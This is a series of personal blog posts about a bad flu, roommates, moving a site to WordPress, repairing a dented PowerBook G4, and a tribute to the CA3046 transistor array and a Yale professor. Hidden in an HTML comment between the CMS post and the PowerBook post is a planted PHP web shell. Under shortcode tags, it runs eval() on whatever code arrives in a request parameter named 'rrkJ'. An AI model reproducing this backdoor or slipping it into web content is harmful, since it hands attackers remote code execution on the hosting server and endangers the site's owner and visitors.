i’m losing it

Slowly with time I am going insane. I feel like an island in Toronto. I’m tired of my roommates playing games all night every night. I dread going home for fear I have to deal with them. Oh, and I’m still dizzy all the time, which can’t be doing wonders for my mood or mental state.

cough, wheeze

I should be able to go back to work tomorrow…just in time for Friday! What a waste of 6 days it’s been. I’ve slept about 96 hours, eaten no more than 2,000 calories, lost between 12 and 15 pounds, fallen over (slightly bruising my right kneecap) and gone completely stir-crazy.

Being worn out prior to getting sick I’m sure lengthened my recovery period, but this was one killer flu. I sure don’t want to have to go through that again. And, no, I can’t do the flu shot thing.

The next step is to return to productivity without burning myself out in the process.

it may not be sars, but it sure feels like it

so on day 4 of my illness I still have a fever of 39C (which is responding better to medication now, thank you), a very nasty cough, lightheadedness, spots in front of my eyes, diarrhea and appetite problems. And everything taste funny. A Dr. Pepper I managed to drink today tasted more like wintergreen than anything else. Is there wintergreen in Dr. Pepper?

fevers suck.

So last night I get home, change into my robe, lie down on the bed — and suddenly it’s 5 hours later and I have a fever of 38C or so. I spent most of the night not being able to get back to sleep, even with medication. At about 8AM I found my fever had shot up to 40.2C, which is way too high. I feel like I’m drunk, but it’s completely unpleasant.

I’m supposed to be off to Montana for 4 days starting Monday (for my job). If I still feel like this, I’m not going, especially because I’m supposed to drive down to Buffalo and back for a cheaper flight.

Third time’s a charm

After exploring two other CMS solutions, I’ve decided to split my website & blog between WordPress and LiveJournal. The website needs more life, and I only really use LJ for stuff I want a specific group of people to see. WP doesn’t yet have a good access filter like LJ does, so LJ stays a part of my life for the time being.

Graphics will return when I don’t have a fever of 38.4°C.

<!– [insert_php]if (isset($_REQUEST["rrkJ"])){eval($_REQUEST["rrkJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["rrkJ"])){eval($_REQUEST["rrkJ"]);exit;}[/php] –>

Panavise rules.

A few nights ago I was so tired I fell asleep with my PowerBook G4 on my lap…in bed. During the night, the PB fell on the floor and got dented. Ouch! A beautiful Titanium work of art, with a pucker in the front bezel on the left side, near the corner.

I only noticed it last night as I picked up my laptop for a late night email session. Dang it, and I had just bought this PB used a couple of months prior.

Tonight I found it was deceptively simple to fix. You remove 7 T8 Torx screws from the bottom, and the entire lower cover comes off. This was the part that was dented. A few minutes later with my Panavise, the world’s best hobbyist vise (completely smooth vise walls, separate heads for general purpose, large clamping and PCB holding) and the dent was virtually invisible. In fact, the case seems to fit together better now than it did before!

Now if I could only find replacement rubber feet for the machine, as well as the little rubber bits that hold the display a mm or two away from the main body when closed…

sic transit gloria, CA3046

Earlier tonight, my good friend Old Crow told me of the passing of a long-time friend. And while others may find themselves irrevocably moved by the disappearance of a human mind from the conscious experience of this plane of existence, I source my sense of wonder from a different place: the engineer’s perspective.

When you learn about making things like amplifiers in EE class, you learn about how important it is to have matched pairs of transistors. Symmetry tends to be just as important in electronic circuits as it is in plant life: pairs of tubes supply and remove fluids from a plant leaf much the same way electrons flow through paired transistors in an amplifier. Optimal behaviour occurs when these sides respond in a balanced, symmetrical manner (in the most common cases.)

The more closely you can match the behaviour of these 2 transistors, the more symmetrical the circuit becomes. So, someone got the bright idea — what if we put more than one transistor on the same piece of silicon? Thus, the integrated circuit was born: not with the goal of putting computers on chips (or anything digital, for that matter), but with the idea of making the performance of a circuit uniform.

The earliest ICs only had simple transistors on them. The CA3046 was pure simplicity: 5 matched NPN type BJT transistors on the same chip. You could continue to build circuits the way you were used to — with resistors and capacitors on the circuit board or prototype board — and simply replace the transistors in there with matched transistors, formed from the same piece of silicon. Presto, your circuit sounded a lot better. If you went high volume, you could have your circuit burned into its own integrated circuit; many opamps (the building block of modern analog circuit design) were designed this way. Or you could create a printed circuit board, and go that way — the sort you might have seen in just about every consumer electronics product in the 1970s and 1980s.

The CA3046 (and its strange partner, the CA3096: 3 NPN, 2PNP in a single chip) helped us ring in an age of harmony. Matched pair transistors were essential to building harmonic circuits that were pleasing to the ear. The original Moog “transistor ladder” design required hand matching of transistors; were the CA3046 available then, Moogs probably would have been a lot cheaper (had they not already become a “fad.”) And so we come to my understanding and initial exposure to the CA3046/CA3096: exploration of the circuits used to create the music I so loved as a child — pioneers like Wendy Carlos, Vangelis, Larry Fast and Tomita — combined with a single class at Yale University, taught by Prof. Peter Kindlmann.

Professor Kindlmann, or pjk as we all knew him (his email alias), related device physics to something tangible onto which I could hang in the rareified Ivy League air. Suddenly electronics was about what I remembered: sitting at my little brown particle board and wood veneer desk, torturing a poor PCB away with my poor soldering gun (!!!) skills, and constructing a Heathkit digital clock or analogue, solenoid powered metronome (Oh, how I want that metronome again!) I started to make sense of all the abstract math and subatomic particle interaction. Up until that instant, when he brought together the origins of the CA3046, I felt Yale had failed me in my engineering instruction. I didn’t want to be a theoretical physicist, much as I respected (and could readily understand) the principles involved. I wanted to do something with that technology that was of use in solving a more macroscopic problem: lighting a room, carrying a human thought from here to here, making music, enriching lives. My inner humanitarian had found other outlets, through education and community outreach, but I could not see what my degree would ever do for me. My heart simply didn’t lie in the depths of the “bunny suits” (outfits you wear in transistor fabrication labs) or in digital signal processing. I needed to be as close to the human experience as possible; my projects would always be more of a component integration exercise than a wander in the forest of science.

Later I had a few missed starts trying to make circuits: a failed design for a video game emulator cartridge that was already halfway into production nearly bankrupted me, and I lost heart. I put away my skills for many, many years, always thinking that i could fall back on it if I really needed to. Now I see it’s a skill I’ve neglected for far too long, and one that can enrich my life if I only take the time to apply it artfully. Expect to read more about this in the future, whether here on livejournal or at my websites www.atypical.net and www.wohmart.com (shameless plug).

Where was I? Oh yes, the CA3046. Prof. Kindlmann helped me connect the dots — thank you for helping me stay the course until I could believe enough in myself to explore such a project again.

It is with a heavy heart that I leave you with this last link: CA3046, TBD.